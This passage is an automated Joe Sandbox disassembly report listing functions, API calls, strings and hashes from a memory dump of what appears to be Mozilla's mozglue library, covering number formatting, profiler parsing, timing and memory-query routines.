Instruction Fuzzy Hash: FA726A72E056518FD704CF29C940615FBE1BF89328F2AC7ADE8699B791D335E842CB90

Function 6C5C2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5C2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5C2C61

Part of subcall function 6C574DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C574E5A
Part of subcall function 6C574DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C574E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5C2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5C2E2D

Part of subcall function 6C5881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5881DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C5C2E3B
expected a Time entry, xrefs: 6C5C2E36
(root), xrefs: 6C5C354F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 67c14cb9e1d1cf6e98b9460d157c4bb178f9b26b47e865998a50beae8b1bdc06
Instruction ID: 5b559144b4909a92e039c74f4f67c845662d4494c18e481b035482697759c068
Opcode Fuzzy Hash: 67c14cb9e1d1cf6e98b9460d157c4bb178f9b26b47e865998a50beae8b1bdc06
Instruction Fuzzy Hash: 2091AD706087448FC724DF64CC8469EB7E1AFC9358F10491DE99A8B751EB30D94ACB93

Function 6C5D9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C5D9F3D
__aulldiv.LIBCMT ref: 6C5D9F77
__aullrem.LIBCMT ref: 6C5D9F8C
__aulldiv.LIBCMT ref: 6C5DA023

Strings

-Infinity, xrefs: 6C5D9E60, 6C5D9E7B
NaN, xrefs: 6C5D9EAB

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: ed39fd74635b19e772ae9b0186585cac79b85d75f065c98aa69b47767f92a8ac
Instruction ID: 31deefcbeb88f197a654b8c8e7c89a7446d4d186e78754274e4b7279963d62c0
Opcode Fuzzy Hash: ed39fd74635b19e772ae9b0186585cac79b85d75f065c98aa69b47767f92a8ac
Instruction Fuzzy Hash: 76C1BC71A00319CBDB14CFADCC9079EB7B6EB84304F164529D406ABB80DB71AD4ACB95

Function 6C57D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C57DA88
0, xrefs: 6C57D852
9, xrefs: 6C57DE7F
-, xrefs: 6C57D7DD
8, xrefs: 6C57DC08
0, xrefs: 6C57DC7F
1, xrefs: 6C57DBDD
@, xrefs: 6C57DAF6

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: d23a9958b1a5f1c0cb9881d82839f544bc2c9c8c7f6d41983944c38f72a39d8d
Instruction ID: d972adea1fa7c382ec95d4a598b4728d278ca8bbe6acb5f61e5e8063e82d6f7a
Opcode Fuzzy Hash: d23a9958b1a5f1c0cb9881d82839f544bc2c9c8c7f6d41983944c38f72a39d8d
Instruction Fuzzy Hash: 6562CE7160C3458FDB21CF28C89075ABBF2AF86358F184A1DE8D54BA91D335D9C5CBA2

Function 6C5E545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5E8A4B

Strings

~qWl, xrefs: 6C5E5703, 6C5E921F, 6C5E56C7, 6C5E5740, 6C5E9459, 6C5E9269, 6C5E948F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset
String ID: ~qWl
API String ID: 2221118986-1315564596
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 11e6f7edb00752307cb2ec65272533e9b915cec282370cfce547cf519181da57
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 85B1D772E0021ACFDB24CF68CC907D9B7B2EF99314F1902A9C549DB795E730A985CB91

Function 6C5E542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5E88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5E925C

Strings

~qWl, xrefs: 6C5E5703, 6C5E921F, 6C5E56C7, 6C5E5740, 6C5E9459, 6C5E9269, 6C5E948F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset
String ID: ~qWl
API String ID: 2221118986-1315564596
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 15026e9be8423ea422f6a8f3cefc7db134354b1f8d44fbb2b2cdab47e81cadb7
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: E6B1C772E0421ACFDB14CF58CC816DDB7B6EF89314F1502A9C949DB785E730A989CB90

Function 6C5DC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5DC0E9), ref: 6C5DC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C5DC437
FreeLibrary.KERNEL32(?,6C5DC0E9), ref: 6C5DC44C

Strings

NtQueryVirtualMemory, xrefs: 6C5DC431
ntdll.dll, xrefs: 6C5DC413

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4718ed35666588f47d4dc21c706fcecd89fa5b9ef44882cb0919195899a8ccf
Instruction ID: 17691edc4f801e4e8c90863f3a06d408360be16e360bbeb522694e7d765a34f1
Opcode Fuzzy Hash: d4718ed35666588f47d4dc21c706fcecd89fa5b9ef44882cb0919195899a8ccf
Instruction Fuzzy Hash: 6CE09271651309DBDF087F75AE087117BF8A70A206F064A16AA24E2B00EBB4E005CE58

Function 6C589F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C58AB22
' , xrefs: 6C58A3D8
9, xrefs: 6C58A5D6
1, xrefs: 6C58A824
0, xrefs: 6C58A100
@, xrefs: 6C58A625

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: ed65226f79333da42d5b22e19a5c9047f85689fe7195698c4aeb9cc4e1b9ad52
Instruction ID: 540c2a810985f395bda6d81c3b41883c11f4d226de08d4ae768ce956b30b0a9d
Opcode Fuzzy Hash: ed65226f79333da42d5b22e19a5c9047f85689fe7195698c4aeb9cc4e1b9ad52
Instruction Fuzzy Hash: C882E13190B371CBD711CF09CC8036EB7E1EB85718F558A2AE9D547AD4D739A886CB82

Function 6C57BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C57C1CB
__aulldiv.LIBCMT ref: 6C57C24C
__aulldiv.LIBCMT ref: 6C57C348
__aullrem.LIBCMT ref: 6C57C365
__aulldiv.LIBCMT ref: 6C57C37D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 634c105d7cff2f43e661162e2e5575397e0d626ec25d3378a0dcfda313123a59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: EE320332B146119FC728DE2CC890A5ABBE6AFC9310F09867DE895CB395D734ED05CB91

Function 6C5C77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5C7A93

Part of subcall function 6C595C50: GetTickCount64.KERNEL32 ref: 6C595D40
Part of subcall function 6C595C50: EnterCriticalSection.KERNEL32(6C5FF688), ref: 6C595D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5C7AA1

Part of subcall function 6C595C50: __aulldiv.LIBCMT ref: 6C595DB4
Part of subcall function 6C595C50: LeaveCriticalSection.KERNEL32(6C5FF688), ref: 6C595DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5C7B31

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: ff595705e56af2bce7971920c220a7de807d272149791a8f95918b3e9c176a2d
Instruction ID: 9e8e15b74eef42279a31b945c623e5c0279f61b4f11e14aaf3b52b1b882a01db
Opcode Fuzzy Hash: ff595705e56af2bce7971920c220a7de807d272149791a8f95918b3e9c176a2d
Instruction Fuzzy Hash: 50B18D317083848BCB14CE65C89069FB7E2ABC9758F154A1CE99567B91DB70ED0ACB83

Function 6C598850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C599813, 6C59985D, 6C599878, 6C599CEB
MOZ_CRASH(), xrefs: 6C5997EA

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 51f133a9ae9edf85aa877b275c2b37499eec3aaac2a6c9549d3030093bd5edfb
Instruction ID: b8209fd775f4f7c2346a628814b3899c11380298f30f37175c5b7c9d55d90e83
Opcode Fuzzy Hash: 51f133a9ae9edf85aa877b275c2b37499eec3aaac2a6c9549d3030093bd5edfb
Instruction Fuzzy Hash: B8D28C71A056418FC718CF19C990715BBE2BF86324F29C7ADE86E8B7A5D731E841CB81

Function 6C5B6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5B6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5B6E1E

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: aab39d2b81814fd5d241ee727d33d57d2200d085dbb66893897cc4cecf93b4ec
Instruction ID: 4a97393a278709ba961e757bff39bc72d8242c977bfd6cf1f5020ed5061943cd
Opcode Fuzzy Hash: aab39d2b81814fd5d241ee727d33d57d2200d085dbb66893897cc4cecf93b4ec
Instruction Fuzzy Hash: 58A17D70618785CFD719CF25C8907AEBBE2BFC8308F05491DE48A97751DB70A949CB92

Function 6C5DB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C5AFE3F), ref: 6C5DB720
RtlNtStatusToDosError.NTDLL ref: 6C5DB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C5AFE3F), ref: 6C5DB760

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: fc94f2faf7b4bd5ee53c83cbb4909becad156f0a26a6b6d5091ee1d3a8a2656a
Instruction ID: 77f64780d9b00f9c57a6f233437c000b3e5c9fd5668070fc6b269c810f87316c
Opcode Fuzzy Hash: fc94f2faf7b4bd5ee53c83cbb4909becad156f0a26a6b6d5091ee1d3a8a2656a
Instruction Fuzzy Hash: 6EF0A47090430CEFDF05AAA5CC84BDE77BE9B48319F115129D511655C0D774B988C665

Function 6C594640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C594777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C595585, 6C5955A8, 6C5955C3, 6C595624

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 1d90339c3fb0c9450f3337d8b6471a7807e00d00bec29630f2d8a50c94c780fa
Instruction ID: c5d05eae92df79e5173b19588693a169db22700f0c64a74b6b8053dcd497150f
Opcode Fuzzy Hash: 1d90339c3fb0c9450f3337d8b6471a7807e00d00bec29630f2d8a50c94c780fa
Instruction Fuzzy Hash: 05B27E71A057418FC708CF29C990715BBE2BFC5328B29C7ADE46A8B7A5D771E851CB80

Function 6C5D85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5D8C7C
__aulldiv.LIBCMT ref: 6C5D8DD7

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: f2ee84a3d5f781343b2abcc310b4a3f30f6215ca7e70ab95355c99d52b8bad5d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 14328231F002198BDF18CE9DC8A17AEB7B2FB88310F16953AD406BB790D6346D45CB96

Function 6C5E76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qWl, xrefs: 6C5E7B0B, 6C5E793C, 6C5E79FB, 6C5E7E0B, 6C5E7796, 6C5E79C0

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: ~qWl
API String ID: 0-1315564596
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: d828efac8befb4a20326497baf56acd81f825745e9b0aae82976d8a820f54c58
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AA32FA71E0061A8FDB14CF99C890AADFBF2FF88304F54856AC549A7746D731A986CF90

Function 6C5E6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qWl, xrefs: 6C5E7B0B, 6C5E7C03, 6C5E7C72, 6C5E793C, 6C5E79FB, 6C5E7E0B, 6C5E79C0

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: ~qWl
API String ID: 0-1315564596
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 09b70c6aaadd0d6eba125cd8eae19667c8088760dad9dcd63f7f65b3af2fb35e
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: CB22D771E006198FCB14CF98C980AADF7F6FF88344F6485AAC549A7746D731A986CF90

Function 6C5B5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C584A63,?,?), ref: 6C5B5F06

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 2f67074839c971622745bd015572965469195e01ad638ab45a2d210fc31c096c
Instruction ID: 838bf01697f5a571df8cbddf1a9439e26936d5497d19b95e1cb5cd69b4f43a4e
Opcode Fuzzy Hash: 2f67074839c971622745bd015572965469195e01ad638ab45a2d210fc31c096c
Instruction Fuzzy Hash: 98C19F75D012098BCB08CF95C9A06EEFFB2BF89318F68425DD8557BB45D732A906CB90

Function 6C57DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91d693e6bf58684ffa81be9df772cdacf46af6cde965339264e01153874b874
Instruction ID: ca4890ef012fd18ee3d377a77fbb01dbee2b63007a6835f2d1960d0789a69843
Opcode Fuzzy Hash: c91d693e6bf58684ffa81be9df772cdacf46af6cde965339264e01153874b874
Instruction Fuzzy Hash: 9842C272A087508FD314CE3CC89175AB3E2BFC9364F094B2DE999A7791E774D9818B81

Function 6C5A0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 617bb5f242c758bff3913a1b25796366a73a6df987daaeca5a79eb7d44833fde
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: EC221771E04629CFCB14CF99C890AADF7B2FF88304F54869AD54AA7705D731A986CF90

Function 6C5EAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

